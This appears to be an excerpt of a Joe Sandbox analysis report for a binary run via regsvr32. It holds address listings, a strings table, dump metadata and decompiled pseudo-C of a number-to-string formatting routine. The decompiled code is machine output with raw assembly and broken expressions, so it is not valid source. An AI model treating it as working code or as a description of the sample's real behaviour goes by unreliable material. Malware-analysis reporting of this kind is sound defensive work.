0x0041dc70
0x0041dc70
0x0041dc74
0x0041dc7b
0x00000000
0x00000000
0x0041dc84
0x00000000
0x00000000
0x00000000
0x0041dc86
0x0041d9f7
0x0041d9fe
0x0041da9d
0x0041daa5
0x00000000
0x0041dab5
0x0041dab5
0x0041dabd
0x0041edc5
0x00000000
0x0041edc5
0x0041dac3
0x0041dac6
0x0041dad7
0x0041dae6
0x0041daea
0x0041daee
0x0041dafb
0x0041daff
0x0041db03
0x0041db03
0x0041db07
0x0041db0a
0x0041db0a
0x0041db11
0x0041db18
0x0041d9d0
0x0041d9d0
0x0041d9d8
0x0041d9da
0x00000000
0x0041d9da
0x0041db1e
0x0041db22
0x0041db28
0x0041db50
0x0041db53
0x0041db56
0x0041db5d
0x0041db65
0x00000000
0x00000000
0x0041db6b
0x0041db6d
0x00000000
0x0041db6d
0x0041db2a
0x0041db2e
0x0041db32
0x00000000
0x00000000
0x0041db36
0x0041db3c
0x0041db3f
0x00000000
0x0041db3f
0x0041daa5
0x0041da04
0x0041da0c
0x0041edb7
0x00000000
0x0041edb7
0x0041da12
0x0041da15
0x0041da1e
0x0041da25
0x0041da2c
0x0041da35
0x0041da38
0x0041da41
0x0041da44
0x0041da46
0x0041da46
0x0041da49
0x0041da51
0x0041da54
0x0041da56
0x0041da56
0x0041da59
0x0041da5d
0x0041da5d
0x0041da6f
0x0041da73
0x0041da79
0x0041da81
0x0041da81
0x00000000
0x0041da79
0x0041dc09
0x0041dc10
0x0041dc50
0x0041dc50
0x0041dc58
0x0041dc58
0x00000000
0x0041dc58
0x0041dc16
0x0041dc1c
0x0041dc2f
0x0041dc32
0x0041dc27
0x0041dc27
0x0041dc27
0x0041dc42
0x00000000
0x0041dc44
0x0041dc4b
0x00000000
0x0041dc4b
0x0041dc42
0x0041de18
0x0041e501
0x0041e504
0x0041e504
0x0041e50c
0x0041e727
0x0041e727
0x0041e735
0x0041e737
0x0041e737
0x0041e73b
0x0041e740
0x0041e743
0x0041e74a
0x00000000
0x00000000
0x00000000
0x0041e74a
0x00000000
0x0041e512
0x0041de27
0x0041de2b
0x0041de2f
0x0041de36
0x0041de36
0x0041de39
0x0041de3d
0x0041de3d
0x0041de44
0x0041de50
0x0041de59
0x00000000
0x0041de67
0x0041de7d
0x0041de81
0x0041de91
0x0041de95
0x0041de9e
0x0041dea1
0x0041dea5
0x0041dea5
0x0041deaa
0x0041deaa
0x0041deaf
0x00000000
0x00000000
0x0041deb8
0x0041debc
0x0041dee2
0x0041dec2
0x0041dec6
0x0041dec8
0x0041dec8
0x0041dece
0x0041ded1
0x0041ded7
0x0041ded9
0x00000000
0x0041dedb
0x0041e71f
0x00000000
0x0041e71f
0x0041ded9
0x0041dee4
0x0041dee4
0x0041dee6
0x0041deed
0x0041def3
0x00000000
0x00000000
0x00000000
0x0041def9
0x0041dec0
0x00000000
0x00000000
0x00000000
0x0041dec0
0x0041e725
0x00000000
0x00000000
0x00000000
0x0041e725
0x0041de59
0x0041d484
0x0041d487
0x0041d510
0x0041d514
0x0041ead9
0x00000000
0x0041ead9
0x0041d51a
0x0041d536
0x0041d536
0x0041d53d
0x0041d542
0x0041d548
0x0041d54e
0x0041d563
0x0041d559
0x0041d559
0x0041d559
0x0041d570
0x0041d570
0x0041d573
0x0041d57a
0x00000000
0x00000000
0x0041d57c
0x0041d580
0x0041d586
0x0041d5a3
0x0041d591
0x0041d591
0x0041d591
0x0041d5b1
0x0041d5b6
0x0041d98b
0x0041d98f
0x0041d996
0x0041d99d
0x0041d99f
0x0041d99f
0x0041d9a5
0x0041d9ac
0x0041d9b3
0x0041d9b5
0x0041d9b5
0x0041d9bc
0x00000000
0x0041d5bc
0x0041d5bc
0x0041d5c0
0x0041d62c
0x0041d63a
0x0041d63e
0x0041d646
0x0041d64b
0x00000000
0x00000000
0x0041d651
0x0041d658
0x0041d6a0
0x0041d6a0
0x0041d6a8
0x0041d530
0x0041d530
0x0041d533
0x0041d536
0x0041d53d
0x0041d542
0x0041d548
0x0041d54e
0x0041d563
0x0041d559
0x0041d559
0x0041d559
0x0041d570
0x0041d570
0x0041d573
0x0041d57a
0x00000000
0x00000000
0x0041d57a
0x0041d65a
0x0041d65e
0x0041d664
0x0041d680
0x0041d683
0x0041d686
0x0041d68e
0x00000000
0x00000000
0x0041d690
0x00000000
0x0041d690
0x0041d666
0x0041d66a
0x0041d66e
0x00000000
0x00000000
0x0041d672
0x0041d678
0x0041d67b
0x00000000
0x0041d67b
0x0041d5c2
0x0041d5c9
0x0041d620
0x0041d620
0x0041d628
0x0041d628
0x00000000
0x0041d628
0x0041d5cf
0x0041d5d5
0x0041d5fe
0x0041d5e0
0x0041d5e0
0x0041d5e0
0x0041d60a
0x00000000
0x0041d60c
0x0041d613
0x00000000
0x0041d613
0x0041d60a
0x0041d5f0
0x0041d5f0
0x0041d5f4
0x00000000
0x00000000
0x00000000
0x0041d5f6
0x0041d536
0x00000000
0x0041d490
0x0041d493
0x0041d497
0x00000000
0x00000000
0x0041d49c
0x00000000
0x00000000
0x0041d4af
0x0041d4b2
0x0041d4bd
0x0041d4c4
0x0041df5b
0x0041df5f
0x0041e28f
0x0041e293
0x00000000
0x00000000
0x0041e299
0x0041e2a2
0x00000000
0x00000000
0x0041e2ae
0x0041e2b0
0x00000000
0x00000000
0x0041e2ba
0x00000000
0x0041df70
0x0041df70
0x0041df74
0x0041df79
0x0041df7e
0x0041df84
0x0041df8a
0x0041df9d
0x0041df95
0x0041df95
0x0041df95
0x0041dfa0
0x0041dfa3
0x0041dfaa
0x0041dfaa
0x0041dfae
0x0041dfb5
0x0041dfbb
0x0041dfc1
0x0041dfd4
0x0041dfcc
0x0041dfcc
0x0041dfcc
0x0041dfd7
0x0041dfda
0x0041dfe1
0x0041dfe1
0x0041dfe7
0x0041e000
0x0041e25c
0x0041e263
0x0041e266
0x0041e27f
0x0041e283
0x0041e286
0x0041e28d
0x00000000
0x00000000
0x00000000
0x0041e28d
0x0041e006
0x0041e00d
0x0041e250
0x0041e250
0x0041e258
0x0041e258
0x00000000
0x0041e258
0x0041e017
0x0041e01d
0x0041e236
0x0041e030
0x0041e030
0x0041e030
0x0041e242
0x00000000
0x0041e244
0x0041e24b
0x00000000
0x0041e24b
0x0041dfe9
0x0041dfe9
0x0041e2c3
0x0041e2c7
0x0041e2ce
0x0041e2d2
0x0041e2d2
0x0041e2dd
0x0041e2e2
0x0041e2f8
0x0041e307
0x0041e307
0x0041e30b
0x0041e310
0x0041e315
0x0041e31b
0x0041e321
0x0041e343
0x0041e32c
0x0041e32c
0x0041e32c
0x0041e346
0x0041e350
0x0041e350
0x0041e353
0x0041e35a
0x0041e360
0x0041e366
0x0041e383
0x0041e371
0x0041e371
0x0041e371
0x0041e386
0x0041e389
0x0041e390
0x0041e390
0x0041e396
0x00000000
0x00000000
0x0041e3b9
0x0041e3c4
0x00000000
0x00000000
0x0041e3ce
0x0041e41c
0x0041e423
0x0041e429
0x00000000
0x00000000
0x0041e42b
0x0041e432
0x0041e480
0x0041e480
0x0041e488
0x0041e300
0x0041e300
0x0041e304
0x00000000
0x0041e304
0x0041e434
0x0041e438
0x0041e43e
0x0041e460
0x0041e463
0x0041e466
0x0041e46e
0x00000000
0x00000000
0x0041e470
0x00000000
0x0041e470
0x0041e440
0x0041e444
0x0041e448
0x00000000
0x00000000
0x0041e44c
0x0041e452
0x0041e455
0x00000000
0x0041e455
0x0041e3d0
0x0041e3d7
0x0041e410
0x0041e410
0x0041e418
0x0041e418
0x00000000
0x0041e418
0x0041e3dd
0x0041e3e3
0x0041e3f6
0x0041e3ee
0x0041e3ee
0x0041e3ee
0x0041e402
0x00000000
0x0041e404
0x0041e40b
0x00000000
0x0041e40b
0x0041e402
0x0041e48f
0x0041e49a
0x0041e4af
0x0041e4b3
0x0041e4ba
0x0041e4bc
0x0041e4be
0x0041e4be
0x0041e4c9
0x0041e4d0
0x0041e4d7
0x00000000
0x0041e4dd
0x0041e4e8
0x00000000
0x00000000
0x00000000
0x0041e4e8
0x0041e4d7
0x0041dfe7
0x0041df5f
0x0041d4ca
0x0041d4ce
0x0041d4d3
0x0041d4d8
0x0041d4e2
0x0041d4e8
0x0041dd7b
0x0041d4fb
0x0041d4fb
0x0041d4fb
0x0041dd7e
0x0041dd81
0x0041dd88
0x0041dd88
0x0041dd8c
0x0041dd93
0x0041dd99
0x0041dd9f
0x0041ddb2
0x0041ddaa
0x0041ddaa
0x0041ddaa
0x0041ddb5
0x0041ddb8
0x0041ddbf
0x0041ddbf
0x0041ddc5
0x0041ddcc
0x00000000
0x0041ddd2
0x0041ddd6
0x0041df2e
0x0041df4e
0x0041df55
0x00000000
0x00000000
0x00000000
0x0041df55
0x0041dddc
0x0041dde3
0x0041df22
0x0041df22
0x0041df2a
0x0041df2a
0x00000000
0x0041df2a
0x0041dded
0x0041ddf3
0x0041df01
0x0041df04
0x0041de06
0x0041de06
0x0041de06
0x0041df14
0x00000000
0x0041df16
0x0041df1d
0x00000000
0x0041df1d
0x0041df14
0x0041ddcc
0x0041d198
0x0041d198
0x0041d19b
0x0041d19e
0x0041d1a1
0x0041d1a9
0x0041d1a9
0x00000000
0x0041d1a1
0x0041d196
0x0041d148
0x0041d14b
0x0041d14f
0x0041d152
0x0041d159
0x0041d15e
0x0041d161
0x0041d168
0x00000000
0x0041d16a
0x0041d16a
0x0041d16d
0x00000000
0x0041d16d

Strings

string too long, xrefs: 0041ED86, 0041ED94, 0041EDA2, 0041EDB0, 0041EDBE, 0041EDCC
0123456789-, xrefs: 0041D324, 0041D7D7, 0041DA2E, 0041E8A7

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID:
String ID: 0123456789-$string too long
API String ID: 0-3302723652
Opcode ID: 202d7c0b835153e59ba850a8e042030d4b38518220ab4887d9a1a3d066ce678b
Instruction ID: 4d00a5034f44b3cb4b4778fa9cc577a3c95c3dc7dca52ece44f6c79c0e4069bb
Opcode Fuzzy Hash: 202d7c0b835153e59ba850a8e042030d4b38518220ab4887d9a1a3d066ce678b
Instruction Fuzzy Hash: FEF2447A601A9489DB248F2AC4943ED3761F784F88F558423DE4E4B7A4DB3DC9C6C349

Uniqueness

Uniqueness Score: -1.00%

Function 0041F200 Relevance: 4.2, Strings: 3, Instructions: 420
COMMONCrypto

Download Yara Rule

C-Code - Quality: 38%

			E0041F200(signed int __ecx, void* __edx, void* __edi, void* __esp, long long __rcx, long long __rdx, signed long long __r8, void* __r9, void* __r10, signed long long __r11) {
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __r12;
				void* __r13;
				void* __r14;
				void* __r15;
				signed long long _t147;
				void* _t153;
				void* _t155;
				void* _t156;
				void* _t161;
				void* _t165;
				signed long long _t166;
				long long _t168;
				void* _t174;
				void* _t187;
				void* _t189;
				signed int _t190;
				void* _t191;
				void* _t193;
				void* _t206;
				intOrPtr* _t214;
				signed long long _t219;
				intOrPtr* _t220;
				intOrPtr* _t223;
				long long _t225;
				intOrPtr _t228;
				intOrPtr _t229;
				intOrPtr _t233;
				intOrPtr* _t235;
				intOrPtr _t237;
				intOrPtr _t238;
				intOrPtr* _t243;
				long long _t244;
				long long _t245;
				void* _t246;
				intOrPtr* _t249;
				intOrPtr* _t251;
				signed long long _t257;
				intOrPtr* _t258;
				intOrPtr* _t260;
				intOrPtr _t265;
				intOrPtr _t266;
				signed long long _t268;
				intOrPtr _t272;
				intOrPtr _t275;
				intOrPtr _t276;
				short* _t282;
				long long _t289;
				intOrPtr* _t294;
				signed long long _t303;
				intOrPtr* _t304;
				long long _t305;
				intOrPtr* _t306;
				signed long long _t307;
				signed long long _t308;
				long long _t309;
				void* _t311;
				long long _t312;
				signed long long _t313;
				void* _t314;
				long long* _t315;
				void* _t316;
				void* _t317;
				void* _t319;
				signed long long _t324;
				void* _t329;
				void* _t331;
				intOrPtr _t333;
				void* _t336;
				intOrPtr _t337;
				signed long long _t338;
				long long _t339;
				void* _t340;
				signed long long _t341;
				void* _t342;
				intOrPtr _t343;
				long long _t344;
				signed long long _t346;
				signed long long _t347;

				_t338 = __r11;
				_t336 = __r10;
				_t329 = __r9;
				_t321 = __r8;
				_t191 = __esp;
				_t189 = __edi;
				_t187 = __edx;
				_t182 = __ecx;
				_t317 = _t316 - 0x118;
				_t314 = _t317 + 0x80;
				asm("movaps [ebp+0x80], xmm6");
				r15d = r9d;
				_t341 = __r8;
				_t339 = __rcx;
				_t302 = __rdx;
				asm("movsd xmm6, [ebp+0x110]");
				asm("movapd xmm0, [0x2f5f2]");
				asm("xorpd xmm0, xmm6");
				asm("xorpd xmm1, xmm1");
				asm("movapd xmm2, xmm6");
				asm("cmpsd xmm2, xmm1, 0x1");
				asm("movapd xmm1, xmm2");
				asm("andnpd xmm1, xmm6");
				asm("andpd xmm2, xmm0");
				asm("orpd xmm2, xmm1");
				asm("ucomisd xmm2, [0x2f5e7]");
				if(0 >= 0) {
					asm("movsd xmm0, [0x2f5e5]");
					asm("movsd xmm1, [0x2f5d5]");
					while(1) {
						asm("divsd xmm2, xmm0");
						_t244 = _t244 + 0xa;
						_t193 = _t244 - 0x1387;
						if(_t193 > 0) {
							goto L4;
						}
						asm("ucomisd xmm2, xmm1");
						if(_t193 >= 0) {
							continue;
						}
						goto L4;
					}
				}
				L4:
				asm("dec cx");
				_t147 = E0043BD10(_t314 - 0x30, "%.0Lf", _t321, _t329);
				r14d = _t147;
				if(r14d < 0) {
					asm("repe inc ecx");
					asm("movdqu [edi], xmm0");
					goto L27;
				} else {
					_t249 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t314 + 0x100)) + 0x40))));
					 *((long long*)(_t314 + 0x58)) = _t249;
					_t214 =  *_t249;
					 *((intOrPtr*)(_t214 + 0x10))();
					E004119C0(0, _t187, _t189, _t191, _t314 + 0x58, _t321, _t329, _t338, _t342);
					_t306 = _t214;
					_t251 =  *((intOrPtr*)(_t314 + 0x58));
					if(_t251 != 0) {
						_t243 =  *_t251;
						 *((intOrPtr*)(_t243 + 0x18))();
						if(_t243 != 0) {
							 *((intOrPtr*)( *_t243 + 8))();
						}
					}
					 *((long long*)(_t314 + 0x20)) = _t302;
					_t303 = _t341;
					 *(_t314 + 0x54) = r15d;
					 *((long long*)(_t314 + 0x18)) = _t339;
					_t188 = 0x30;
					r13w =  *((intOrPtr*)( *_t306 + 0x60))();
					_t346 = r14d;
					_t340 = _t314 + 0x60;
					asm("dec ax");
					asm("pslldq xmm0, 0x8");
					asm("movdqu [ebp+0x70], xmm0");
					 *((short*)(_t314 + 0x60)) = 0;
					r8d = 0;
					if(E00416FA0(7, _t314 + 0x58, _t346) != 0) {
						_t282 =  <=  ? _t340 :  *((intOrPtr*)(_t314 + 0x60));
						if(r14d != 1) {
							_t188 = 0;
							__eflags = 0;
							E00437B20(_t152, 0, _t282, _t346, _t336);
						} else {
							 *_t282 = 0;
						}
						_t284 =  <=  ? _t340 :  *((intOrPtr*)(_t314 + 0x60));
						 *(_t314 + 0x70) = _t346;
						 *((short*)(( <=  ? _t340 :  *((intOrPtr*)(_t314 + 0x60))) + _t346 * 2)) = 0;
					}
					_t331 =  <=  ? _t340 :  *((intOrPtr*)(_t314 + 0x60));
					_t322 = _t314 + _t346 - 0x30;
					_t289 = _t314 - 0x30;
					_t153 =  *((intOrPtr*)( *_t306 + 0x68))();
					_t307 =  *(_t314 + 0x70);
					_t219 =  !_t307;
					if(_t244 >= _t219) {
						L00430CE0(0, _t188, _t191, _t219, "string too long", _t303, _t307);
						asm("ud2");
						_t155 = E00401F90(_t182, _t188, __eflags, _t219, _t219, _t289, _t322);
						asm("ud2");
						_t308 = _t219;
						_t220 =  *((intOrPtr*)(_t314 + 0x78));
						__eflags = _t220 - 8;
						if(_t220 >= 8) {
							_t272 =  *((intOrPtr*)(_t314 + 0x60));
							_t220 = _t220 + _t220 + 2;
							__eflags = _t220 - 0x1000;
							if(_t220 >= 0x1000) {
								_t272 =  *((intOrPtr*)(_t272 - 8));
							}
							_t155 = E00402090(_t155, _t272);
						}
						_t257 = _t308;
						_t156 = E0044CEA0(_t155, _t257);
						asm("ud2");
						asm("int3");
						asm("outsb");
						 *_t322 =  *_t322 + r8b;
						 *_t220 =  *_t220 + _t156;
						 *((intOrPtr*)(_t220 - 0x6f6f6f70)) =  *((intOrPtr*)(_t220 - 0x6f6f6f70)) + _t188;
						_t319 = _t317 - 0xe8;
						_t315 = _t319 + 0x80;
						r12d = r9d;
						_t245 = _t322;
						_t347 = _t257;
						_t309 = _t289;
						_t258 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t315 + 0xd0)) + 0x40))));
						 *((long long*)(_t315 + 0x38)) = _t258;
						_t223 =  *_t258;
						 *((intOrPtr*)(_t223 + 0x10))(_t244, _t303, _t308, _t340, _t341, _t342, _t346, _t314);
						E004119C0(0, _t188, _t189, _t191, _t315 + 0x38, _t322, _t331, _t338, _t342);
						_t304 = _t223;
						_t260 =  *((intOrPtr*)(_t315 + 0x38));
						__eflags = _t260;
						if(_t260 != 0) {
							_t235 =  *_t260;
							 *((intOrPtr*)(_t235 + 0x18))();
							__eflags = _t235;
							if(_t235 != 0) {
								 *((intOrPtr*)( *_t235 + 8))();
							}
						}
						 *_t315 = _t245;
						_t343 =  *((intOrPtr*)(_t315 + 0xe0));
						_t246 = _t315 - 0x20;
						 *((intOrPtr*)( *_t304 + 0x68))();
						_t225 =  *((intOrPtr*)(_t343 + 0x18));
						__eflags = _t225;
						if(_t225 == 0) {
							r13d = 0;
							r11d = 0;
							__eflags = r11d;
						} else {
							__eflags =  *((long long*)(_t343 + 0x20)) - 7;
							_t270 =  >  ?  *((void*)(_t343 + 8)) : _t343 + 8;
							_t182 =  *( >  ?  *((void*)(_t343 + 8)) : _t343 + 8) & 0x0000ffff;
							r13d = 0;
							__eflags = ( *( >  ?  *((void*)(_t343 + 8)) : _t343 + 8) & 0x0000ffff) -  *((intOrPtr*)(_t315 - 0xc));
							r13b = ( *( >  ?  *((void*)(_t343 + 8)) : _t343 + 8) & 0x0000ffff) ==  *((intOrPtr*)(_t315 - 0xc));
							_t338 = _t341;
						}
						__eflags = _t338 - _t225;
						_t333 =  *((intOrPtr*)(_t343 + 0x20));
						if(_t338 >= _t225) {
							_t337 =  *((intOrPtr*)(_t343 + 8));
							_t344 = _t343 + 8;
							__eflags = _t344;
							_t324 = _t338;
						} else {
							 *(_t315 + 0x64) = r12d;
							 *((long long*)(_t315 + 0x30)) = _t309;
							__eflags = _t333 - 7;
							_t337 =  *((intOrPtr*)(_t343 + 8));
							_t344 = _t343 + 8;
							_t311 =  >  ? _t337 : _t344;
							_t304 = _t315 - 0x22;
							_t324 = _t338;
							do {
								_t182 =  *(_t311 + _t324 * 2) & 0x0000ffff;
								_t294 = _t304;
								while(1) {
									r12d =  *(_t294 + 2) & 0x0000ffff;
									_t294 = _t294 + 2;
									__eflags = r12w;
									if(r12w == 0) {
										break;
									}
									__eflags = r12w - _t182;
									if(r12w != _t182) {
										continue;
									}
									break;
								}
								__eflags = _t294 - _t246 >> 1 - 9;
								if(_t294 - _t246 >> 1 <= 9) {
									goto L46;
								}
								break;
								L46:
								_t324 = _t324 + 1;
								__eflags = _t324 - _t225;
							} while (_t324 < _t225);
							_t309 =  *((intOrPtr*)(_t315 + 0x30));
							r12d =  *(_t315 + 0x64);
						}
						__eflags = _t333 - 7;
						_t345 =  >  ? _t337 : _t344;
						_t291 = ( >  ? _t337 : _t344) + _t338 * 2;
						_t325 = _t324 - _t338;
						asm("dec ax");
						asm("pslldq xmm0, 0x8");
						asm("movdqu [ebp+0x50], xmm0");
						 *((short*)(_t315 + 0x40)) = 0;
						_t161 = E0041C700(0, _t182, _t191, _t246, _t315 + 0x38, ( >  ? _t337 : _t344) + _t338 * 2, _t304, _t309, _t324 - _t338, _t340,  >  ? _t337 : _t344, _t347);
						__eflags =  *((long long*)(_t315 + 0x50));
						if( *((long long*)(_t315 + 0x50)) == 0) {
							_t190 =  *(_t315 - 0x20) & 0x0000ffff;
							_t188 = 1;
							r8d = 0;
							_t168 = E00416FA0(_t161, _t315 + 0x38, _t291);
							__eflags = _t168;
							if(_t168 != 0) {
								_t268 =  *((intOrPtr*)(_t315 + 0x50));
								__eflags =  *((long long*)(_t315 + 0x58)) - 8;
								if( *((long long*)(_t315 + 0x58)) < 8) {
									_t233 = _t315 + 0x40;
									 *(_t315 + 0x40 + _t268 * 2) = _t190;
								} else {
									 *( *((intOrPtr*)(_t315 + 0x40)) + _t268 * 2) = _t190;
									_t233 =  *((intOrPtr*)(_t315 + 0x40));
								}
								 *((long long*)(_t315 + 0x50)) = 1;
								 *((short*)(_t233 + 2)) = 0;
							}
						}
						asm("movups xmm0, [eax]");
						asm("movaps [ebp-0x30], xmm0");
						asm("dec ax");
						asm("pslldq xmm0, 0x8");
						asm("movdqu [ebp+0x20], xmm0");
						 *((short*)(_t315 + 0x10)) = 0;
						_t305 = _t315 + 8;
						r8d = 0;
						L0041AB70(_t182, _t191, _t246, _t305, _t315 + 0x38, _t305, _t325, 0xffffffff, _t340, _t341, _t345, _t347);
						 *(_t319 + 0x40) =  *(_t315 - 0x20);
						 *((long long*)(_t319 + 0x38)) = _t305;
						 *(_t319 + 0x30) = r13b & 0xffffffff;
						 *((intOrPtr*)(_t319 + 0x28)) =  *((intOrPtr*)(_t315 + 0xd8));
						 *((long long*)(_t319 + 0x20)) =  *((intOrPtr*)(_t315 + 0xd0));
						r9d = r12b & 0xffffffff;
						_t165 = L0041F960(0, r13b & 0xffffffff, _t188, _t191, _t309, _t315 - 0x30, _t338);
						_t228 =  *((intOrPtr*)(_t315 + 0x28));
						__eflags = _t228 - 8;
						if(_t228 >= 8) {
							_t266 =  *((intOrPtr*)(_t315 + 0x10));
							__eflags = _t228 + _t228 + 2 - 0x1000;
							if(_t228 + _t228 + 2 >= 0x1000) {
								_t266 =  *((intOrPtr*)(_t266 - 8));
							}
							E00402090(_t165, _t266);
						}
						_t166 = 7;
						asm("dec ax");
						asm("pslldq xmm0, 0x8");
						asm("movdqu [ebp+0x20], xmm0");
						 *((short*)(_t315 + 0x10)) = 0;
						_t229 =  *((intOrPtr*)(_t315 + 0x58));
						__eflags = _t229 - 8;
						if(_t229 >= 8) {
							_t265 =  *((intOrPtr*)(_t315 + 0x40));
							__eflags = _t229 + _t229 + 2 - 0x1000;
							if(_t229 + _t229 + 2 >= 0x1000) {
								_t265 =  *((intOrPtr*)(_t265 - 8));
							}
							_t166 = E00402090(_t166, _t265);
						}
						return _t166;
					} else {
						if(_t244 != 0) {
							_t313 = _t307 + _t244;
							r8d = 0;
							if(E00416FA0(_t153, _t314 + 0x58, _t313) != 0) {
								_t279 =  <=  ? _t340 :  *((intOrPtr*)(_t314 + 0x60));
								_t188 = r13w & 0xffffffff;
								_t322 = _t244;
								E00437B20(_t176, r13w & 0xffffffff, ( <=  ? _t340 :  *((intOrPtr*)(_t314 + 0x60))) +  *(_t314 + 0x70) * 2, _t244, _t336);
								_t206 =  *((long long*)(_t314 + 0x78)) - 7;
								_t340 =  >  ?  *((void*)(_t314 + 0x60)) : _t340;
								 *(_t314 + 0x70) = _t313;
								 *((short*)(_t340 + _t313 * 2)) = 0;
							}
						}
						asm("movups xmm0, [edi]");
						asm("movaps [ebp], xmm0");
						asm("dec ax");
						asm("pslldq xmm0, 0x8");
						asm("movdqu [ebp+0x40], xmm0");
						 *((short*)(_t314 + 0x30)) = 0;
						_t312 = _t314 + 0x28;
						r8d = 0;
						L0041AB70(_t182, _t191, _t244, _t312, _t314 + 0x58, _t303, _t322, 0xffffffff, _t340, _t341, _t342, _t346);
						asm("pxor xmm0, xmm0");
						asm("ucomisd xmm0, xmm6");
						 *((intOrPtr*)(_t317 + 0x40)) = r13d;
						 *((long long*)(_t317 + 0x38)) = _t312;
						 *((intOrPtr*)(_t317 + 0x28)) =  *((intOrPtr*)(_t314 + 0x108));
						 *((long long*)(_t317 + 0x20)) =  *((intOrPtr*)(_t314 + 0x100));
						 *(_t317 + 0x30) = 0 | _t206 > 0x00000000;
						r9d =  *(_t314 + 0x54) & 0x000000ff;
						_t302 =  *((intOrPtr*)(_t314 + 0x20));
						_t174 = L0041F960(0, _t206 > 0, _t188, _t191,  *((intOrPtr*)(_t314 + 0x20)), _t314, _t338);
						_t237 =  *((intOrPtr*)(_t314 + 0x48));
						if(_t237 >= 8) {
							_t276 =  *((intOrPtr*)(_t314 + 0x30));
							if(_t237 + _t237 + 2 >= 0x1000) {
								_t276 =  *((intOrPtr*)(_t276 - 8));
							}
							E00402090(_t174, _t276);
						}
						_t147 = 7;
						asm("dec ax");
						asm("pslldq xmm0, 0x8");
						asm("movdqu [ebp+0x40], xmm0");
						 *((short*)(_t314 + 0x30)) = 0;
						_t238 =  *((intOrPtr*)(_t314 + 0x78));
						if(_t238 >= 8) {
							_t275 =  *((intOrPtr*)(_t314 + 0x60));
							if(_t238 + _t238 + 2 >= 0x1000) {
								_t275 =  *((intOrPtr*)(_t275 - 8));
							}
							_t147 = E00402090(_t147, _t275);
						}
						L27:
						asm("movaps xmm6, [ebp+0x80]");
						return _t147;
					}
				}
			}

0x0041f200
0x0041f200
0x0041f200
0x0041f200
0x0041f200
0x0041f200
0x0041f200
0x0041f200
0x0041f20c
0x0041f213
0x0041f21b
0x0041f222
0x0041f225
0x0041f228
0x0041f22b
0x0041f22e
0x0041f236
0x0041f23e
0x0041f242
0x0041f246
0x0041f24a
0x0041f24f
0x0041f253
0x0041f257
0x0041f25b
0x0041f261
0x0041f269
0x0041f26b
0x0041f273
0x0041f280
0x0041f280
0x0041f284
0x0041f288
0x0041f28f
0x00000000
0x00000000
0x0041f291
0x0041f295
0x00000000
0x00000000
0x00000000
0x0041f295
0x0041f280
0x0041f297
0x0041f2a2
0x0041f2a7
0x0041f2ac
0x0041f2b2
0x0041f36b
0x0041f371
0x00000000
0x0041f2b8
0x0041f2c3
0x0041f2c6
0x0041f2ca
0x0041f2cd
0x0041f2d4
0x0041f2d9
0x0041f2dc
0x0041f2e3
0x0041f2e5
0x0041f2e8
0x0041f2ee
0x0041f2f6
0x0041f2f6
0x0041f2ee
0x0041f2f9
0x0041f2fd
0x0041f300
0x0041f304
0x0041f30b
0x0041f316
0x0041f31a
0x0041f31d
0x0041f326
0x0041f32b
0x0041f330
0x0041f335
0x0041f33f
0x0041f34c
0x0041f35a
0x0041f362
0x0041f380
0x0041f380
0x0041f385
0x0041f364
0x0041f364
0x0041f364
0x0041f396
0x0041f39a
0x0041f39e
0x0041f39e
0x0041f3ad
0x0041f3b1
0x0041f3b9
0x0041f3c0
0x0041f3c3
0x0041f3ca
0x0041f3d0
0x0041f533
0x0041f538
0x0041f5a6
0x0041f5ab
0x0041f5ad
0x0041f5b0
0x0041f5b4
0x0041f5b8
0x0041f5ba
0x0041f5be
0x0041f5c3
0x0041f5c9
0x0041f5cb
0x0041f5cb
0x0041f5cf
0x0041f5cf
0x0041f5d4
0x0041f5d7
0x0041f5dc
0x0041f5de
0x0041f5df
0x0041f5e0
0x0041f5e3
0x0041f5e5
0x0041f5fc
0x0041f603
0x0041f60b
0x0041f60e
0x0041f611
0x0041f614
0x0041f622
0x0041f625
0x0041f629
0x0041f62c
0x0041f633
0x0041f638
0x0041f63b
0x0041f63f
0x0041f642
0x0041f644
0x0041f647
0x0041f64a
0x0041f64d
0x0041f655
0x0041f655
0x0041f64d
0x0041f658
0x0041f65c
0x0041f674
0x0041f67e
0x0041f681
0x0041f685
0x0041f688
0x0041f6ab
0x0041f6ae
0x0041f6ae
0x0041f68a
0x0041f68e
0x0041f693
0x0041f698
0x0041f69b
0x0041f69e
0x0041f6a2
0x0041f6a6
0x0041f6a6
0x0041f6b1
0x0041f6b4
0x0041f6b8
0x0041f723
0x0041f727
0x0041f727
0x0041f72b
0x0041f6ba
0x0041f6ba
0x0041f6be
0x0041f6c2
0x0041f6c6
0x0041f6ca
0x0041f6d1
0x0041f6d5
0x0041f6d9
0x0041f6e0
0x0041f6e0
0x0041f6e5
0x0041f6f0
0x0041f6f0
0x0041f6f5
0x0041f6f9
0x0041f6fd
0x00000000
0x00000000
0x0041f6ff
0x0041f703
0x00000000
0x00000000
0x00000000
0x0041f703
0x0041f70b
0x0041f70f
0x00000000
0x00000000
0x00000000
0x0041f711
0x0041f711
0x0041f714
0x0041f714
0x0041f719
0x0041f71d
0x0041f71d
0x0041f72e
0x0041f732
0x0041f736
0x0041f73a
0x0041f742
0x0041f747
0x0041f74c
0x0041f751
0x0041f75b
0x0041f760
0x0041f765
0x0041f767
